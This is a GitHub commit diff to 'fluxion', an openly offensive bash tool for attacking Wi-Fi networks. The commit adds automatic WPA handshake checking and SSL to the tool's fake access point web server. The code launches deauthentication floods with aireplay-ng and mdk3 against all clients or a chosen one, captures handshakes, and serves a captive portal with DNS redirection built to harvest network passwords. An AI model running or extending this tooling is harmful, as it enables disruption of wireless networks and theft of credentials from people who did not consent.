Fix ssl once again / auto handshake check

- Add ssl support 
- auto handshake check
This commit is contained in:
deltax 2016-09-21 12:27:04 +02:00 committed by GitHub
parent d8f604397d
commit 80ba8db616
1 changed files with 63 additions and 56 deletions

73
fluxion
View File

@ -23,8 +23,8 @@ WORK_DIR=`pwd`
ipNmap=`ifconfig | sed -En 's/127.0.0.1//;s/.*inet (addr:)?(([0-9]*\.){3}[0-9]*).*/\2/p'`
# Deauth duration during handshake capture
# oo
DEAUTHTIME="9999999999999"
revision=53
DEAUTHTIME="15"
revision=54
version=0.23
IP=192.168.1.1
RANG_IP=$(echo $IP | cut -d "." -f 1,2,3)
@ -1402,7 +1402,7 @@ function askauth {
echo ""
case $yn in
1 ) authmode="handshake"; handshakelocation; break ;;
2 ) authmode="wpa_supplicant"; webinterface; break ;;
2 ) authmode="wpa_supplicant"; certssl; break ;;
3 ) askAP; break ;;
* ) echo "$general_case_error"; conditional_clear ;;
esac
@ -3213,7 +3213,7 @@ function handshakelocation {
if [[ "$Host_MAC_loc" == *"$Host_MAC"* ]] && [[ "$Host_SSID_loc" == *"$Host_SSID"* ]]; then
if pyrit -r $handshakeloc analyze 2>&1 | sed -n /$(echo $Host_MAC | tr '[:upper:]' '[:lower:]')/,/^#/p | grep -vi "AccessPoint" | grep -qi "good,"; then
cp "$handshakeloc" $DUMP_PATH/$Host_MAC-01.cap
webinterface
certssl
else
echo "Corrupted handshake"
echo
@ -3229,7 +3229,7 @@ function handshakelocation {
else
if aircrack-ng $handshakeloc | grep -q "1 handshake"; then
cp "$handshakeloc" $DUMP_PATH/$Host_MAC-01.cap
webinterface
certssl
else
echo "Corrupted handshake"
sleep 4
@ -3375,33 +3375,21 @@ function deauth {
function deauthMENU {
while true; do
conditional_clear
clear
top
echo "$header_deauthMENU "
echo "$header_deauthMENU / automatic Handshake check "
echo
echo -e "Status handshake: $Handshake_statuscheck"
echo
echo -e " "$blue"1)"$transparent" $deauthMENU_option_1"
echo -e " "$blue"2)"$transparent" $general_back (Select another deauth method)"
echo -e " "$blue"3)"$transparent" Select another network"
echo -e " "$blue"4)"$transparent" Exit"
echo -n ' #> '
read yn
echo -e " "$grey"1)"$transparent" $deauthMENU_option_1"
echo -e " "$grey"2)"$transparent" $general_back (Select another deauth method)"
echo -e " "$grey"3)"$transparent" Select another network"
echo -e " "$grey"4)"$transparent" Exit"
case $yn in
1 ) checkhandshake;;
2 ) conditional_clear; askclientsel; break;;
3 ) killall airodump-ng mdk3 aireplay-ng &>$flux_output_device; CSVDB=dump-01.csv; breakmode=1; selection; break ;;
4 ) exitmode; break;;
* ) echo "
$general_case_error"; conditional_clear ;;
esac
done
}
# Capture all
@ -3422,8 +3410,9 @@ function checkhandshake {
if aircrack-ng $DUMP_PATH/$Host_MAC-01.cap | grep -q "1 handshake"; then
killall airodump-ng mdk3 aireplay-ng &>$flux_output_device
wpaclean $HANDSHAKE_PATH/$Host_SSID-$Host_MAC.cap $DUMP_PATH/$Host_MAC-01.cap &>$flux_output_device
webinterface
certssl
i=2
y=2
break
else
@ -3436,8 +3425,9 @@ function checkhandshake {
if pyrit -r $DUMP_PATH/test.cap analyze 2>&1 | grep -q "good,"; then
killall airodump-ng mdk3 aireplay-ng &>$flux_output_device
pyrit -r $DUMP_PATH/test.cap -o $HANDSHAKE_PATH/$Host_SSID-$Host_MAC.cap strip &>$flux_output_device
webinterface
certssl
i=2
y=2
break
else
@ -3844,22 +3834,26 @@ mimetype.assign = (
\".css\" => \"text/css\"
)
server.error-handler-404 = \"/\"
static-file.exclude-extensions = ( \".fcgi\", \".php\", \".rb\", \"~\", \".inc\" )
index-file.names = ( \"index.htm\" )
\$SERVER[\"socket\"] == \":443\" {
url.redirect = ( \"^/(.*)\" => \"192.168.1.1\")
ssl.engine = \"enable\"
ssl.pemfile = \"/root/server.pem\"
}
#Redirect www.domain.com to domain.com
\$HTTP[\"host\"] =~ \"^www\.(.*)$\" {
url.redirect = ( \"^/(.*)\" => \"http://%1/\$1\" )
ssl.engine = \"enable\"
ssl.pemfile = \"/root/server.pem\"
}
" >$DUMP_PATH/lighttpd.conf
# that redirects all DNS requests to the gateway
echo "import socket
@ -4185,25 +4179,38 @@ function handshakecheck {
############################################## < STUFF > ############################################
y=1
# Deauth all
function deauthall {
while true; do
deauthMENU
xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauthenticating all clients on $Host_SSID" -e aireplay-ng --deauth $DEAUTHTIME -a $Host_MAC --ignore-negative-one $WIFI_MONITOR &
sleep 15
checkhandshake
done
}
function deauthmdk3 {
function deauthmdk3 {
while true; do
deauthMENU
echo "$Host_MAC" >$DUMP_PATH/mdk3.txt
xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauthenticating via mdk3 all clients on $Host_SSID" -e mdk3 $WIFI_MONITOR d -b $DUMP_PATH/mdk3.txt -c $Host_CHAN &
mdk3PID=$!
sleep 15
checkhandshake
done
}
# Deauth to a specific target
function deauthesp {
while true;do
deauthMENU
sleep 2
xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauthenticating client $Client_MAC" -e aireplay-ng -0 $DEAUTHTIME -a $Host_MAC -c $Client_MAC --ignore-negative-one $WIFI_MONITOR &
sleep 15
checkhandshake
done
}
# Close all processes